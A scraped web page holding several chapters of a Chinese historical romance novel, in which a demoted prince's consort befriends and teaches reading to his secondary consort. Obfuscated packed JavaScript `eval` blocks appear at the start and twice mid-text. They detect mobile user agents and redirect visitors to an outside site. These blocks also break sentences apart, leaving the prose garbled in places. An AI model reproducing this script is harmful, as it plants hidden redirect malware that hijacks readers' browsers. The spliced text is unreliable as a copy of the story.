;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073507|149393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他于盛怒之下做出什么偏激的事来。她深吸一口气,随即,却是深深一叹。 “她并未谮害我父,亦不曾加害于你。我的仇人已然伏法,恩怨已了,又如何该再将仇怨转移至她一个全然不曾参与其中的无辜之人身上? “大郎,”她轻轻攥住萧定棠的手,他的掌心冰冷,她的掌心炽热,一冷一热之下,李和绰骤然感受到一股凉意袭来,可她却并未退却半分。 她不怕寒冷,因为她知道他会一直在。因此,她也希望自己掌心的温暖能传入他的心中,亦希望他能知晓她的心意。 “大郎,”她说,“想想我吧。如若我们对她亦如对她父亲一般,那你我二人与当初我父出事,你不在京之时,那些见风使舵,捧高踩低的人又有何区别? “那种感觉我明白,亦知晓有多难熬,有多令人伤痛,因此我并不愿令旁人再经历一遍相似之事。”李和绰说着,深深叹了口气,便也借此,了却一切过往仇怨,“罢了。” 是啊,仇怨便也就此一笔勾销罢。总归她有什么错呢?不过也只是另一个被无辜牵连的人罢了。 李和绰的话语与紧握住萧定棠的双手仿佛有什么神奇的魔力一般,令萧定棠先前所有的怒气与怨望尽数消散无形。他看了看眼前目光一如当初一般澄澈,深深看着他的李和绰,再看了看一旁垂着头,暗自垂泪的张颂之,直顿了半晌,最终却也是卸了浑身力气,带着几分哽咽唤了声“阿绰”,紧紧抱住了眼前的女子——他的妻子。 李和绰伸手回抱住他,轻轻将头靠在了他的肩膀之上。 李和绰坐在马车之中,看着低垂着头,并不看她的张颂之。 先前她们二人井水不犯河水,各不相干,可方才她将张颂之从萧定棠手中解救出来,却是不知为何,牵着她的手,带着她上了她自己的马车。 李和绰并不知晓其中原因。许是生怕眼前的少女再受旁人欺辱,又许是因着同病相怜的怜悯与理解,想要给予她更多的关心与照拂。 她轻轻伸出手来,握住了张颂之的腕子。她的手腕极细,似乎较她最初见她那时要更细几分,可能是因为这一路的舟车劳顿而愈显消瘦。张颂之微微瑟缩了一下,不曾抬眼,不曾言语,却亦不曾出力挣脱。 李和绰轻轻叹了一声,将手中一直攥着的麻线重新系回她的手腕。 其实她终究是比她自己要幸运的吧,她想。当初她父亲出事之时,萧定棠不在京中,李家一朝倾覆,无人依附,她痛彻心扉,疼心泣血,却又因着自己是齐王妃,是天家之人从而只得谨言慎行,不敢在外人面前露出一点悲哀之态,不敢将自己的愁容哀色示之旁人,自然,亦是不敢为生她养她,向来惯她宠她的父亲戴孝,哪怕只是腕子之上,难以被人察觉的短短一条细线。 张颂之抬起眼来,愣愣地看着李和绰,眼底泪痕未干,却又夹杂着几分掩而不得的疑惑。 “疼吗?”李和绰却并未如她所愿,对此加以任何解释,只缓缓开口,问了一句与此情此景截然不符的话语。 “不疼。”张颂之的手腕被萧定棠攥出了一条深深的红痕,可此刻她却也只是摇了摇头,低声回道,“——谢谢姐姐。” 她这一声“姐姐”让李和绰微微愣了一下。张颂之先前从未如此唤过她,向来都是以外人自居,唤萧定棠“郡王”,唤她“郡王妃”,此次是她首次改口。而李和绰心底亦是明白,她此番改口,绝非是作为侧妃,对于正妃该唤的那一声恪尽礼数的称呼。 “你好好休息吧,他……最近只是仍未缓过来,待他心情好了,便不会再如那般对你。这段日子你留意些许,最好莫要与他离得太近。” “姐姐。”她的话语却忽然被张颂之打断。她有些诧异地看过去,却见先前一直躲闪着她的目光的张颂之此刻却是抬起了头,那双明亮的剪水秋眸此刻忽闪忽闪,正与她的视线相对。 她看了她许久,好似忽然下定了决心一般,开口道:“我不会……不会妨碍到你与郡王的。” 李和绰笑起来,伸出手来,似是想要拍拍眼前少女的肩,最终却也不曾真正落到她的身上。她只是看着她,轻轻颔首。 “嗯,我知道。” 真是个傻姑娘啊,她想。 其实根本无需她来强调这一句的,她会与不会,她又如何不知? 她的双眼是那样澄澈,就算如今,家逢大变,一路随他们颠簸辗转至此,她眼底的澄澈明净也从未消散过。她又如何会做她口中那等,于她和定棠之间横插一脚的人呢? 4. 形影相附(二) 来到封地后的日子过得其实要比李和绰想象中的还要更为清闲些许。 萧定棠名义上是之藩前来的藩王,可实际上他离京的前因后果虽说不可能尽数流传开来,可个中因由却也足以被旁人所知,再加上这一路看似护送实则押解的阵仗,明眼人自然知晓这一切会是怎么回事。因此虽说明面之上还对他们有着最为基本的尊敬——毕竟今上并未有旨意下达,萧定棠虽说由齐王被贬为广川郡王,可也依然是大皇子——可实际上大事小事,却也是从不过问于他们的。 李和绰倒是乐得清闲,总归她清楚,自己于权力争夺之中委实是个外行,什么都不懂,尽力去帮忙还有可能帮倒忙,可若是让她什么都不做,她却又心疼萧定棠,亦不可能眼见着他孤身一人在那条九死一生的道路之上艰难前行。 而自从她亲眼见到父亲李柏舟倒台,被东朝那位先斩后奏以及亲身经历萧定棠于争斗之中落败,他们一行人匆忙前来封地的种种过往之后,她便于心底认定权力这种东西是世间大害,若沾了手,幸运的话可能名利双收;可更多的人,却是在行走这条争权夺利的漫漫长路的过程之中狼狈至极地跌落到那名为“失败”的悬崖之下,再寻不到分毫踪迹。 她看似性情无羁,可实际上也终究只是世间万千女子之一而已,所愿无他,只求夫君与亲人得以平安无虞。如今天不遂人愿,她的亲人都已然魂归地府,因此只得将对亲人的那一份期望一并转移到了萧定棠身上。 他们已然经历了太多不测与磨难,她不想再让萧定棠再卷入其中,再行被其所伤,哪怕只是落了极为微小的一道伤痕。 刚到封地时萧定棠委实颓废了好些日子。他自小便被当朝帝后当作手心里的肉来疼,几乎连重话也很少说一句,忽然遭此变故,就算沿途这一月有余已然足以让他认清事实,可却也不可能令他将如此巨大的落差尽数缓过来。李和绰心里全都明白,可她自小顽劣惯了,委实不会安慰人,只得将满心的安慰与心疼尽数化为陪伴,希望能以此抚平那难言又难以一见的深刻伤痕。 也是因此,直至过了一阵,萧定棠终于从先前所经受的打击之中缓了过来,复又变成了先前熟悉的模样之时,李和绰这才恍然惊觉,自己这阵子一直在陪着萧定棠,一直在处理初至封地之后的那些必须由主母前去处理的繁琐事务,却也因此将另一个人忽略的彻彻底底。 ——张颂之。 李和绰再次见到张颂之,是在自己的房间之中。 其实也不能说是“再见”。毕竟过去的一两个月之中,虽说她不曾过于留意过她这个无人相邀,她们也只在那一日萧定棠面前与马车之上有着直接接触的“客人”,而她自己也尽可能地不出现在她的眼前,可两个人之间绝不可能一面也不曾见过——只是李和绰不曾注意到罢了。 因此当甫一走进房中,看到一身湖蓝色衣衫的张颂之时,李和绰竟是微微怔了一下。 她正斜倚在窗边,认真地绣着什么东西。正是午后,阳光斜斜打在她的脸上,将她的面容蒙上了一层淡淡的金色。遥遥望去,不仅耀眼,而且更添几分丽色。 她绣得认真,仿佛将全身心都投入其中一般,甚至都不曾发觉李和绰进屋的脚步声。李和绰也不以为忤,淡淡一笑便向前走去,一直走到她的身边,也不出声提醒她她的到来,只是凝神看着她那双巧手在布料之间极为灵活的穿针引线,动作虽说不快,却足以令她一个不通女红之人看得眼花缭乱。不过一会儿工夫,那朵绽放的莲花便已初步成型。 李和绰看着张颂之来来回回的穿针动作,眼底渐渐泛起连她自己都不曾察觉的几分羡慕之色。 李和绰从小手就笨,无论是针线活还是女伴们常玩的编花绳她都不甚拿手,甚至七夕乞巧之时,她也从来都是最慢的一个,每每都要花上好大功夫,方能将那根细线穿过去。起初她还存了几分争强好胜的心思,可随着时日渐久,她逐渐发现自己并没有这个天赋,而父亲又自幼宠她,她不擅长的事,他从不会强逼她去做,因此久而久之便也任其自然了。 却也是因此,李和绰自小便十分羡慕手巧之人。 直至张念之一幅荷花图修了大半,李和绰这才终于忍不住开了口,语声之中满是赞赏:“你这荷花绣得真好,我先前见过不少荷花图样的绣品,你这一幅若是放于其中,定能稳居上位。” 她自恃自己等的时间已经足够久,如今开口的时机也已然成熟,却不曾想张颂之骤然听到屋内传来另一个女子的声音,还是被吓了一跳,拿针的手猛地一抖,那根尖锐的针险些便要刺进她如削葱根一般的指尖之中。 “当心!”李和绰先是下意识一声惊呼,随即发现那根针并未真正刺入张颂之的指尖之后却是松了口气,原本悬着的心终于放了下来。而张颂之见来者是她,亦是放松了警惕,心底方才被吓出来的那一丝震颤也随之而消散无踪。她放下针线,站起身来便要向她行礼:“郡王妃……” 李和绰扶住她,不让她这一礼行下去。虽说如今已是冬日,可王府之内的谈火烧的极旺,甚至有时候李和绰待在屋中都会有种燥热的感觉。可眼前少女的掌心却泛着微微的冰凉,她们这一双手交握,虽说不至彻骨寒凉,却也是让李和绰于刹那之间感受到了冷意。 这是怎么搞的?是府上的下人拜高踩低,见她不甚受宠,从而克扣了她房里的炭火不成? 她这样想着,却不曾真正将心底的疑问说出口来。只拉着张颂之坐下,似闲谈一般地问道:“怎么到这里来了?” “来给郡王妃送东西,结果此处无人,便在此等了会儿工夫,无事可做,便将先前未完的绣品补了几针,郡王妃不会见怪吧?”张颂之说着,自身旁拿起一对叠得整整齐齐的足衣,向李和绰递了过去,“近来天气愈发寒凉,我做了对足衣,甚为保暖,送予郡王妃,万望收下。” 本来到广川之后张颂之还守着在京中的那些规矩,固执的在她与萧定棠面前以妾自称,可后来却发现她与萧定棠之间从来不守着那些繁琐规矩,反倒是平凡相处如寻常人家,久而久之便也随之改了称呼,至多至多,也只会以名字自称而已。 总归如今,大势已定,他们再不复先前那般尊贵身份,守着那些无用的规矩,又有何用呢? 李和绰看着张颂之递过来的足衣。张颂之在本色的料子之上以精细的绣工绣了一圈缠枝梅花纹,是冬日之中甚为应景的纹样,那朵朵梅花缠枝节理,尽显芳华,足见她绣技之高超。 “我这儿什么都不缺,其实你无须如此的。”她想了想,看着张颂之的手——那双不久之前她刚触碰过的,泛着冰冷的手——最终还是开口道,“你看你,穿的如此单薄,手还这般寒凉,若是得了风寒,该如何是好?” “这些日子以来,全赖郡王妃与郡王照拂看顾,颂之无以为报,仅余绣工尚能入眼,唯有以此言谢。”张颂之见李和绰并未接过足衣,眼底闪过一丝微微的失望,随即却又被其他更为庞杂的情绪所替代。她看着李和绰,并未收回向她递去的手,反倒是微微弯了弯唇,似是要将自己的友好尽数传达给她一般,“至于风寒,请郡王妃放心,手凉实为我自小便体寒的缘故,与其他无关,我不冷的。” “以后还是和之前一样,唤我姐姐吧,日后在这府中,我们是相依相伴的姐妹,无需如此生分。”李和绰委实犹豫了半刻是否要接受张颂之的馈赠,可后来想想,她话都这么说了,如若她再不接受,那便是她自己犯了矫情,于是还是接了过来。 看着眼前佳人的亮丽眉眼,李和绰向她笑了一下,心底涌现已久的善意也随着她脸上的这一个笑容而尽数显现出来。 如果说将张颂之今日前来看作她对她的善意的话,那她如今……算不算是将那个姑娘的善意复又回向给她了呢?李和绰这样想着。 不过……这样其实也没什么不好。 虽然她们的相遇实非二人所愿,可既已遇上,她们又是同病相怜,经历过相似的大变故,性格之中亦有相似之处的人,大抵注定是要走到相伴余生这一步的。 无论此事是否由她或是她主动促成,她在看到张颂之时,是否还会如当初一样想到自己的过去,自己的曾经,自己那与她极为相似的经历,她们都迟早会走到这一步。 大概,上天安排便是如此。 张颂之眼底的光芒愈发强烈,唇边漾开的笑容也愈发灿烂。李和绰的手轻轻抚上那绣工精致的足衣,张颂之做这足衣用的料子极为保暖,手指触上便觉温暖,而那暖意仿佛也能顺着指尖一直传入她的心底。 直至最终,对面少女的笑容,她心底的欣喜与这股暖意一起,如冬日骄阳一般,令她生出了几分“甘寸及时贵似油,今朝欢乐便无愁”的欣忭之意。 李和绰觉得,不知是因为家逢变故,还是因为性情使然,张颂之这个姑娘的心思较之她先前所识得的那些与她同龄的少女来说,都委实有些重了。 比如说她做事很是小心,生怕被旁人抓到错处,尽管以她的身份其实全然无需如此。 比如说她待萧定棠一直是小心翼翼,有着对皇子最基本的尊敬与礼仪,可却也仅止于此,绝不会再进半步,尽管萧定棠这几月来已经改了先前的性子,不再就先前之事迁怒于她,亦是已经接受,或者说默认了她的存在。 再比如说无论是什么事,是好事还是坏事,是自己的想法还是感受,她都会将此深深埋在心底,半分也不告知于旁人。 李和绰曾看到在一日晚膳时分,萧定棠第一次不再视张颂之如空气一般,别别扭扭地向她表达了善意之时,张颂之其实是笑了的,眼底亦闪过了复杂的情绪。 她曾看到张陆正冥诞那日,张颂之大概是思念父亲,却又怕被他们发觉从而再次触发他们对于过往种种的记忆而只得瞧瞧缩在庭院之中咬着掌背抑制着哭声,任由泪水沾衣也不敢发出半声哽咽低泣,唯恐被旁人察觉。 她也曾看到在自己与萧定棠笑闹如寻常人家一般,又或是萧定棠因不敢伤她,又闹不过她,只得一边喘着粗气摆着手,一边唤着她姐姐以此告饶之时,立于一旁瞧着他们的张颂之唇边的真心喜悦,以及她退开一步离去时的那略显落寞孤单的背影。 这些她其实都曾看到过,只是张颂之从来也不曾开口说过。 再比如她其实并不识得几个字这件事,张颂之亦是从未说过。 其实这件事如若她不说,李和绰是当真无法发现的。 她年少丧母,全由父亲教导;而父亲曾与她说过,她日后定然要嫁予皇亲贵胄,或是官宦子弟的。不可胸无点墨,亦不可目不识丁,否则定会被未来的夫君看不起不说,万一当真出了什么事,连辨识些东西,做些力所能及的事也无法做到,因此李和绰很小的时候便已开始认字。在她看来,张陆正人品确是不佳,可如若教导女儿,也定然不会不许她读书的。因此,她从未将张颂之往那个方面去想,而张颂之又掩饰的太好,她自然不会轻易知晓。 若说此事究竟是何处露了破绽,还要从李和绰那讲来定会令不少人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李和绰看得津津有味,一时未能忍住心底的激动之意,喃喃将那她等了许久的最新章节念了出来: “秀秀道:‘你记得也不记得?’崔宁叉着手,只应得喏。秀秀道:‘当日众人都替你喝彩好对夫妻!你怎地倒忘了?’崔宁又则应得喏。秀秀道:‘比似只管等待,何不今夜我和你先做夫妻?不知你意下如何?’崔宁道:‘岂敢!’秀秀道:‘你知道不敢,我叫将起来,教坏了你,你却如何将我到家中,我明日府里去说。’崔宁道:‘告小娘子:要和崔宁做夫妻不妨,只一件,这里住不得了。’” 话音未落,李和绰已为故事之中这对小儿女历经磨难之后的再次相见而抿起唇角,却不料听身侧有一清脆女声骤然响起,一下打断了她所有的思绪。 “这秀秀咄咄逼人,大胆主动,自是个令人钦佩的姑娘;可这崔宁身为男子,如何却始终处于守势,憨态可掬?——这故事姐姐自何处听得?竟是这般有趣!” 李和绰闻声看去,带着唇边未散的笑容看到了一身樱粉广袖褙子,戴了顶元宝冠的张颂之。她笑着走过来,向她行了一礼,那双清澈的眼忽闪忽闪,带这些从未消散的纯净看向李和绰。 “妹妹来啦?坐吧。”李和绰见来者是张颂之倒是很开心。她与张颂之之间自那日张颂之相送足衣之后便再不复往日的拘谨,反倒是完全放了开来。她将她看做自己的妹妹,而张颂之亦将她当成自己的姐姐;她将自己对逝去亲人的思念倾注在张颂之身上,而张颂之亦将自己对已逝的姐姐,与其生离的兄长与同她死别的父亲的情感倾注在了李和绰身上,二人便就这样相伴相携,久而久之,倒也当真如亲人一般,再无半分嫌隙。 有时李和绰想到自二人初见之后所发生的这一切,都会觉得有几分不真实。 她轻按了按太阳穴,将心底那几分对往事的追忆掩了下去,看着坐在她身旁的张颂之,回答了她先前的问题:“是近来新出的话本子,我也是刚买到,这故事还有前篇,你若喜欢,我这里的话本都可以借你一阅。” 谁料眼前的少女闻言却有些羞赧与涩然。李和绰看着她垂下眼帘,放于身侧的手也微微攥着裙子,她低低的声音随即传来:“姐姐的好意,颂之心领了。可是我……我不太识字,只怕要辜负姐姐的一番心意了。” 李和绰一愣。 “当初爹爹……”提及张陆正,张颂之明显一哽,而又不愿,亦不能在李和绰面前过多提及他,因此含糊带了过去,“……他认为女子无需读太多书,只需精通女红便是最好,因此我只读过《女则》而已,至于其他,虽有兴致,却也因识字不多的缘故……” 张颂之这话说得支支吾吾且断断续续,可李和绰却于一瞬间听懂了她的意思。 她身为李柏舟之女,自幼便知自己日后定会与朝官贵胄,甚至是身份更高之人成婚,自然是识文断字。虽说她天资不高,混不得一个才女之名,却也不差。她从小心思便浅,也从未对身边之人的这些事情加以注意,因此也从不知晓,自己新认下的这位妹妹,竟一直身处于如此窘境之下。 看着眼前垂着头,难掩失落之色的张颂之,李和绰一时间不知为何,忽地有了几分怜惜之意。先前从未生出过的一个念头此刻却是飞快地扎根在她的心底,而后生根发芽,最终长成参天大树,再也无法从心中抹去。 她忽地伸手,无视自掌中掉落于地的话本,只轻轻握住了张颂之微凉而又发着颤的手。 李和绰看着茫然抬首望着她的张颂之,顺从了心底那个念头的指引——事实之上她也从未想过要拒绝它的相邀——看着她的双眼,一字一顿,带着难以掩饰的坚决,以及她自己并未察觉到的怜惜与温和。 她说:“你别难过。自此之后,我教你识字。很快的,无需太久,我保你能够阅读无碍,识记无忧。” 而后她看到张颂之眼底本已熄灭的某束光忽地亮了起来,便如寒夜之中为孤身前行的旅人指引方向的星辰一般,照耀了她心底那片繁星寥寥的广袤天空。 5. 形影相附(三) 其实李和绰最初对于教习张颂之识字这件事并未抱太大希望。 她自己便是年少习字的人,自然知晓她对张颂之的那个承诺究竟有多么不易。至于当时那一句“很快的”,尽管她那时只是出于冲动,并未意识到期间各种不易,却也在凝神细想之后蓦地反应过来,不过只是她对于自己,对于张颂之的一句安慰之言罢了。 可令她没想到的是,张颂之比她想象中的还要聪慧。 她原以为如张颂之那般自小不曾过多读过诗书的人,又是在已过开蒙年纪很久的时候才开始重新习字,定会很是困难。可却不曾想张颂之学的极快,好些东西无需她过于解释,她便能明白的透彻。甚至后来都无需李和绰过于讲解,仅给她说个大概便好,个中深意,张颂之自己便能理解的清楚明白。 毕竟她教她识字的本意,原也并非其他,只是想让她与她自己一样,与她所识得的世家贵女一样,与她先前所认为的,张家姑娘该有的模样一般,不再在旁人兴致勃勃地读着书,时而为书中内容捧腹大笑之时而黯然垂首,亦不再在牵挂之人传来尺素书时,明明心中思念万千,却因无法看懂信中内容而只得差旁人为她朗读出来。 也是因此,有时李和绰看着身旁如恍然大悟一般,缓声念出那一段段她原以为要费些工夫才能教会她的诗文的张颂之之时,总会有种如遇知音,相见恨晚的感觉,而她的心底,亦是难免会有些许怅然与感慨。 这样的女子,自己为何没有早些遇到她? 这样的女子,为何会因为父亲的固执而湮没了自己于识字一事上的天分? 这样的女子,为什么偏偏因为是“张陆正的女儿”,而受尽了苦难? 从春暖花开到夏日炎炎,再到秋风飒飒,从张颂之终于能在李和绰含笑的注视之下不带一丝停顿的念出一首短短的《河广》,到能随着她一同阅读广川最新出的话本《简帖和尚》,与她一同对话本之中有趣的情节会心一笑,这样的感慨从未消散过不说,反倒是愈发强烈,愈发难以消散。 不能再这样下去了。 李和绰想,她,大郎还有张颂之三个人之间,不能再这样下去了。 先前她认为与萧定棠和张颂之如此这般生活下去,也不算什么坏事的主要原因是因为她并不觉得自己与张颂之有多亲密,最多能做到平淡似水罢了。可如今,在她与张颂之深交之后,在她们已然有了这般多的交集之后,她却反倒不想再让张颂之继续留在自己的身边,陪她与萧定棠一起走过未来那尚未见到前方曙光的迷雾之路。 她与萧定棠二人也就罢了。总归争也争了,斗也斗了,最后落败,虽说并不甘心,却也只能彼此携着手继续走下去。她自十六岁嫁予萧定棠为妃之后,无论轮转变迁,世事沉浮,都从未真正放开过与他相握的手,而他亦然。他们二人早已成了一个紧密相连的整体,因此他们也只能在这条被迫选择的道路之上并肩行走下去,再没有回头的机会。 可张颂之不同。 她那侧妃的身份本就有名无实,来广川这一年来,虽说府上的下人仍是唤她做“侧妃”,却无一人不知她其实是从未侍过寝的,而无论是萧定棠还是李和绰也都不曾将她当作“广川郡王侧妃”来看待。 她还年轻,未来的路还很长远,还有天高海阔的世界等着她去探寻,还有许多令人难忘的事情等着她去经历,还有无数美好而又值得追忆的人与景等着她去遇见,她也不像他们一样,眼前也只有那一条路可以选择,再没有了其他可能。 原先也就罢了,可如今她与张颂之相交甚深,早就知晓她是个多么好的女子。如此秀外慧中的姑娘,她说什么,也不忍心继续强留她在这广川郡王府中,陪着她一起,在这渺无期盼的岁月之中继续熬下去。 她的世界合该是广袤无垠,山长水阔的,而她,也本该在山水之间,在自由的天地之间微笑,再由一个知她、懂她的男子执起她的手,许她十里红妆,与子偕老。而不是在这方寸庭院之中终老此生,任由心底的天真年少一寸寸被现实磨灭,任由自己在不该安然度日的年纪,只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073509|149393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将心底万千梦想尽数化为海波不惊与安心恬淡。 所以李和绰思前想后,最终动了送张颂之离开的心思。 这个想法她并未告知任何人,甚至是对着与她最为亲密的萧定棠她也未曾透露半句,只是在张颂之不在她身边之时,她开始留意起广川的青年才俊以及与张颂之年纪相仿、又未有妻室的有为之士,企图在这些人之中为张颂之寻出一个既年轻有为,又性情温润,能护得她一世平安的夫君。 想让张颂之离开广川郡王府其实并不算什么难事。既已到了广川,就算萧定棠在帝京再失势,可到了广川他也终究是此地的藩王,放了府中一个侧妃的权力自然是有的。但她不可能不做任何事便让张颂之离开,那样就根本不是在给她自由,而是将她放逐在外,因此,唯有为她寻一位值得托付的男子,顺理成章的寻个理由废掉她侧妃的身份,再赐婚于二人,方可令她前路光明,圆满康乐地过完余生,良人在侧,儿女绕膝,与广川郡王府再无半分干系。 这是最好的办法,也是李和绰想了又想,所想到的最为万全的办法。 虽说此时的广川局势已然稳定下来,而她与萧定棠二人在广川也立稳了脚跟,再无纷扰之事,可毕竟在此多留张颂之一日,便是多耽误了她一日,多让本该在天空中翱翔的飞鸟困于囚笼中一日,因此自然还是越快越好。 张颂之此刻早已不是中书令家的二女公子,可还是广川郡王府出来的人,更别说李和绰如今还视其如亲妹,自然不可马虎轻视。李和绰留心查验了许久,却总是挑三拣四,觉得这个不好,那个又不行,生怕委屈了张颂之。直至最终,她甚至觉得那名册之上的青年才俊人人皆有缺点之处,人人都配不上张颂之。 在这样的挑挑选选之中,时间过得仿佛也就不是那么快了。先前曾被她抱怨过无数次的度日如年,如今却也成了弹指一挥。倏忽间,冬去春来,一转眼又过去了一个冬天,一转眼李和绰放在房中的水仙花开了又败,一转眼,他们一行人来到广川,也已转到了第二个年头。 6. 形影相附(终) 正值夏日,也是一年之中最为闷热的一段时间,无论身处何地,此时天气均开始燥热起来,而如此一来,于寻常消遣时光之中能聚在哪家上好的酒楼茶馆之中听上一段畅快淋漓的评书,听那些似是有通天入海之能的说书人似真似幻地同他们讲一讲那些只能出现在他们口耳相传之中的“贵人秘事”与“侠客逸事”,又或是聚到哪家戏楼之中,听上一出令人酣畅淋漓的戏,便成了百姓们最为乐此不疲的事情了。 而在南齐远离京都的广川郡,更是如此。 广川郡中最具盛名,无数达官贵人趋之若鹜的茶楼颐悦茶坊之中,原本总是喧闹的大堂此刻却是鸦雀无声。只见所有人的目光都直直盯着高台之上的一位老者,眼中无一例外地闪现着探询而又期待的光芒。 却看那老人抖了抖几乎要垂到眼下的长白眉,咂咂嘴巴,清清嗓子,又握住折扇踱了几圈,待颐悦茶坊之中的气氛较之先前略多了几分沉闷与紧张,这才吐出一口气来,悠悠然开讲: “却说魏生接书拆开来看了,并无一句闲言闲语,只说道:‘你在京中娶了一个小老婆,我在家中也嫁了一个小老公,早晚同赴京师也!’魏生见了,也只道是夫人取笑的说话,全不在意。未及收好,外面报说:‘有个同年相访!’京邸寓中,不比在家宽转,那人又是相厚的同年,又晓得魏生并无家眷在内,直到里面坐下,叙了些寒温。魏生起身去解手,那同年偶翻桌上书帖,看见了这封家书,写得好笑,故意朗诵起来,魏生措手不及,通红了脸,说道:‘这是没理的事!因是小弟戏谑了他,他便取笑写来的。’那同年呵呵大笑道:‘这节事却是取笑不得的!’别了就去。那人也是一个少年,喜谈乐道,把这封家书一节,顷刻间遍传京邸。” 话至此处,却忽然没了后文,唯余尾音悠悠飘过。茶坊众人均屏息凝神,以待后文,想要知晓既然故事之中的那封家书有着如此内容,又被同年戏谑传遍京都,会有着怎样巨大的反响,日后之事又该会如何发展。却不料那老者却不再继续说下去,反倒是折扇一合,“啪”的一声拍响了桌上的醒木,任由台下万千注目,只悠悠道了一句“欲知后事如何,且听明日分解”。 满场叹息,虽说将故事停在最为精彩的部分已是说书的常态,可不少人仍是怀了几分希冀,抬眼看着那高台之上的老人,期待着他能有所松口,再为他们这些听众看客多说上些许。可却见那老者已然收拾好东西,自右侧下了台,知晓今日只怕没法再多听到些什么,只得满怀失望地饮尽杯中的茶水,三三两两的相携离去。 而人群虽已渐渐散去,可其中对于故事的讨论却并未消散分毫。反倒是兴致勃勃,聊有趣味,人人皆在猜测这魏生的结局会是如何,而那虽未出现,却已然在题目之中出现过很多次的崔宁又会是何等人物。 而此刻,如潮人流之中,有一个戴着幕篱的女子却向着与它们完全相反的方向快速地挤过去。 她大概十八九岁的年纪,穿着鹅黄色的夏衫,本白洒金百迭裙,外面披了一件梅花如意缘边褙子,一见便不是出身于寻常人家。不时有人因她不合人群的举动而不满地看着她,她垂了头,似有羞赧之色,一边不停地道着“抱歉,借过”,一边迅疾的避开人群,终于穿过了那拥挤的人流,走进了茶楼之中。 少女急匆匆冲到大堂,却见茶楼里空空荡荡,几乎再无几位客人。她轻轻叹了口气,虽说隔着幕篱,看不清她脸上的神情,却也能听得出她话语中的失落。 “还是来晚了啊……” “可不是来晚了吗?我等了你许久,本想着先给你倒上茶水,你一会儿便能到,大不了我在为你讲讲前事如何,结果茶都凉了,那说书人今日的故事都说完了,你人还没到。” 话音未落,便被另一道清脆的女声打断。少女闻声猛地抬头,将幕篱的纱帘撩了开来,唤了一声:“姐姐,我以为你已经离开了呢!” 这位少女自然便是广川郡王侧妃张颂之,而随着方才那句话而出现在二楼的女子身着藕紫色的对襟衫子,雪青抽纱裙,发髻挽的很高,戴了顶花冠,正是广川郡王妃李和绰。 “本想着快些来的,结果在书市耽搁了些时间,虽说紧赶慢赶,最终还是来迟了一步。” “既然来了,这上好的茶水可不能浪费。”李和绰看着阶下的张颂之,微微一笑,招手示意,“上来吧,陪我把这盏茶喝完。” 二人对坐,茶香悠悠,侍女侍立两侧,一时雅间之内只余茶盏碰撞的清脆响声,无人说话,亦无人打破这番寂静。 最终还是李和绰率先开口问道:“你方才说你去了书市,结果如何?可曾买到想看的书了?” 这段日子以来张颂之进步甚大,再不是最初那个好奇于丰富多彩的话本故事,却由于自身不识字而只得无奈放弃的女子,反倒是在李和绰的教习大有成效之后,随了李和绰的性子,亦对市面之上售卖的话本奇谈有了浓厚的兴趣。而国朝地方并没有京都之中的那些繁琐规矩,女子戴上幕篱出门那是再正常不过的事,更有甚者,有些家风开放的女子甚至不加以任何遮掩便大方出门游玩,照样也无人指指点点。因此,在广川一应事务交接完毕,而萧定棠广川郡王的身份也正式被诸人承认之后,李和绰与张颂之便时常结伴出门游玩。从广川郡最大的灵泉寺到人来人往的市集书肆,都不曾少了她们二人的身影。 起初萧定棠还对此有些不愿,认为让她们两个女子出门实在太过不安全,李和绰同他撒了一回娇,再加上央着他将他府里的亲卫调出来了一些来护卫她们,此事这才就此作罢。 “买到了,姐姐快看!”一提到话本,张颂之的笑容愈发深了,招了招手,一旁的侍女呈上来好几本装帧精致的书册,似乎还飘着尚未散去的油墨味,“都是近日新出的话本。” 李和绰喝着手边的茶,看着张颂之喜悦无极的笑容,又同她聊了几句书市和市集的近况,可心底却是在想着别的事情。 其实她今日邀张颂之来这颐悦茶坊,并不仅仅只是邀她来听这一出说书而已,还有着别的目的。 先前她一直关注着的,为张颂之寻觅个优秀才俊的事情前阵子终于有了眉目。李和绰所看中的那人是广川郡中第二大世家的二公子,颇有才华,文武兼修,颇为引人艳羡,而又比张颂之长了一岁,尚未娶妻,正是她心中所想的最佳人选。 这件事从她将张颂之当作亲妹来看,到她真正动了这个念头再到如今,已然过去了大半年光景。 她先前曾自我安慰地想,其实不急,越是着急,寻出来的人可能就越不是她真正想要的。可前不久张颂之过完了十九岁生辰,而她又在那一日过后不久便瞧见了陈家二公子所作的一篇颇具文采的文章,又了解了他的一应诸事,她这才觉得,不能再等了。 再等下去,只怕太迟,也要让她日后心生悔意了。 因此她今日寻张颂之前来,其实是想与她说这件事。 二人又闲闲聊了几句,不知为何又沉默下来。李和绰嗅着清淡的茶香,望着对面张颂之清澈的眼,最终下定了决心,深吸一口气,猛地开口道:“阿颂,其实今日我邀你前来。是为——” “姐姐。”却不曾想,原本设想好的话语却忽然被张颂之打断。李和绰抬眼望去,却与对面的她四目相对。她望着她,眼底的澄澈未变,而又多了几分赤诚,仿佛她知晓她的一切想法,明白她的所有苦心。 “不必说了——你为我寻青年才俊的事,我已经知道了。” 